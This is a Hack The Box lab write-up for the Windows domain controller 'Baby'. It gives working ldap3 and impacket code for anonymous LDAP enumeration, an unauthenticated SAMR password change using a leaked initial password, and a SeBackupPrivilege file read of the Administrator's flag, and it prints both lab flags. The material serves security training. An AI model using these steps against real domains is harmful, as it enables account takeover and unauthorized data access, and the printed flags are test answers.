Baby
Baby — HTB Writeup
Machine Summary
| Property | Value |
|---|---|
| Name | Baby |
| IP | 10.129.234.71 |
| OS | Windows Server 2022 (Build 10.0.20348) |
| Domain | baby.vl |
| Hostname | BabyDC.baby.vl |
| Difficulty | Easy |
| Key Topics | LDAP anonymous enumeration, STATUS_PASSWORD_MUST_CHANGE, Backup Operators, SeBackupPrivilege |
Overview
Baby is a Windows Active Directory Domain Controller. An anonymous LDAP bind exposes a user description containing a plaintext initial password. A non-visible domain user (Caroline.Robinson) has this password set with a must-change flag, allowing the password to be changed without prior authentication via SAMR. Caroline is a member of the Backup Operators built-in group, granting SeBackupPrivilege which permits reading any file on the system — including both flags — directly over SMB using the FILE_OPEN_FOR_BACKUP_INTENT flag.
Reconnaissance
Port Scan
nmap -Pn -sV -sC -p- -T4 --min-rate 2000 10.129.234.71
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 53 | DNS | Simple DNS Plus |
| 88 | Kerberos | AD authentication |
| 389/636 | LDAP/LDAPS | Anonymous bind permitted |
| 445 | SMB | Signing enabled and required |
| 3389 | RDP | CN=BabyDC.baby.vl |
| 5985 | WinRM | Evil-WinRM target |
SMB signing is required, ruling out NTLM relay attacks. No web services present. Clock skew of approximately 7h47m was detected — relevant for Kerberos but not NTLM (the DC embeds its own timestamp in NTLM challenges).
Enumeration
Anonymous LDAP Bind
The DC permitted anonymous LDAP connections. A recursive search for user objects revealed 9 accounts across two OUs (OU=dev, OU=it). One account stood out:
from ldap3 import Server, Connection, SUBTREE
conn = Connection(Server('10.129.234.71', get_info='ALL'), auto_bind=True)
conn.search('DC=baby,DC=vl', '(&(objectClass=user)(objectCategory=person))',
SUBTREE, attributes=['sAMAccountName', 'description'])
Teresa.Bell — OU=it:
description: Set initial password to BabyStart123!
Group Membership Enumeration
The anonymous LDAP query for standard user objects did not return Caroline.Robinson. However, querying the Backup Operators built-in group membership revealed her account:
conn.search('DC=baby,DC=vl',
'(cn=Backup Operators)',
SUBTREE,
attributes=['member'])
# Returns: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
Caroline.Robinson resides in OU=it but was hidden from the standard anonymous user enumeration ACL.
STATUS_PASSWORD_MUST_CHANGE Confirmation
An LDAP NTLM bind attempt for Caroline.Robinson with the discovered password returned LDAP error data code 773 (Microsoft-specific: ERROR_PASSWORD_MUST_CHANGE), confirming:
- The password
BabyStart123!is correct for Caroline.Robinson. - The account has a must-change-password flag set.
Note: SMB NTLM login via impacket SMBConnection.login() returned STATUS_LOGON_FAILURE (0xC000006D) for this case — some tools conflate this with a wrong password. The LDAP bind error code and SAMR change path are the definitive indicators.
Exploitation — User Flag
Password Reset via SAMR
The SAMR SamrUnicodeChangePasswordUser2 RPC call does not require prior authentication — it accepts the old password and sets a new one atomically. With the initial password known, the change was performed over RPC-SAMR:
python3 changepasswd.py 'baby.vl/Caroline.Robinson:BabyStart123!@10.129.234.71' \
-newpass 'BabyHack2024!' \
-protocol rpc-samr
Output:
[*] Changing the password of baby\Caroline.Robinson
[*] Password was changed successfully.
User Flag via SMB
With active credentials, the user flag was retrieved directly over SMB:
from impacket.smbconnection import SMBConnection
smb = SMBConnection('10.129.234.71', '10.129.234.71')
smb.login('Caroline.Robinson', 'BabyHack2024!', 'baby.vl')
# Read C$/Users/Caroline.Robinson/Desktop/user.txt
User Flag: 2df563e8ac7d83a07a53dc54193f89e4
Privilege Escalation — Root Flag
Backup Operators — SeBackupPrivilege
Caroline.Robinson is a member of the Backup Operators built-in group, which grants SeBackupPrivilege. This privilege allows the holder to bypass file ACLs for backup purposes. Over SMB, this is exercised using the FILE_OPEN_FOR_BACKUP_INTENT flag in the CreateFile / NtCreateFile call.
A standard SMB read of C:\Users\Administrator\Desktop\root.txt returned STATUS_ACCESS_DENIED (0xC0000022). Opening the same path with FILE_OPEN_FOR_BACKUP_INTENT succeeded:
from impacket.smbconnection import SMBConnection
smb = SMBConnection('10.129.234.71', '10.129.234.71')
smb.login('Caroline.Robinson', 'BabyHack2024!', 'baby.vl')
# FILE_OPEN_FOR_BACKUP_INTENT = 0x4000 combined in CreateOptions
tid = smb.connectTree('C$')
fid = smb.openFile(
tid,
r'\Users\Administrator\Desktop\root.txt',
desiredAccess=0x20089,
shareMode=0x7,
creationOption=0x4020, # FILE_OPEN_FOR_BACKUP_INTENT | FILE_NON_DIRECTORY_FILE
creationDisposition=0x1 # FILE_OPEN
)
data = smb.readFile(tid, fid, 0, 1024)
print(data.decode())
Root Flag: 4d27bc99f6babec4ade47fbbbc839f38
Obstacles & Lessons Learned
NTLM vs LDAP Error Codes for PASSWORD_MUST_CHANGE
The most significant obstacle was incorrect diagnosis of the password state. Impacket’s SMBConnection.login() returns STATUS_LOGON_FAILURE (0xC000006D) when the DC sends STATUS_PASSWORD_MUST_CHANGE (0xC0000224) — at least under the SMBv3 + NTLMv2 negotiation impacket uses by default. This caused extensive wasted effort trying to confirm clock skew as a cause and attempting many alternative attack paths.
Lesson: When a password hint is found in LDAP (especially Set initial password to), test via LDAP NTLM bind rather than SMB login — LDAP returns a Microsoft-specific error code (data code 773) that unambiguously identifies the must-change state.
Clock Skew and Kerberos
The attacker machine had a ~7h47m clock skew relative to the DC. All Kerberos-based attacks (AS-REP roasting with GetNPUsers, Kerberoasting) would fail without clock sync, and timedatectl/ntpdate were not available or permitted. This limited authentication to NTLM and SAMR paths — which was sufficient for this machine.
Lesson: NTLM authentication is clock-skew-immune because the DC embeds its own timestamp in the NTLM challenge (NTLMSSP_AV_TIME), and the client uses that instead of its local clock. Always fall back to NTLM when Kerberos is unavailable.
Caroline.Robinson Not in Standard LDAP User Enum
The target user was not returned by a standard anonymous LDAP search for (&(objectClass=user)(objectCategory=person)). She appeared only when explicitly querying group membership of privileged groups (Backup Operators, IT). This is a common ACL pattern on AD deployments — individual user objects can have restricted read ACLs that prevent anonymous browsing.
Lesson: Always enumerate group members (especially privileged groups: Domain Admins, Backup Operators, Remote Desktop Users, Administrators) separately from the user object search.
Tools Used
| Tool | Purpose |
|---|---|
| nmap | TCP/UDP port scanning, service fingerprinting |
| ldap3 (Python) | Anonymous LDAP enumeration, NTLM bind testing |
| impacket changepasswd.py | SAMR password change for must-change accounts |
| impacket SMBConnection | SMB file access with FILE_OPEN_FOR_BACKUP_INTENT |
| impacket secretsdump | NTDS.dit offline hash extraction (attempted) |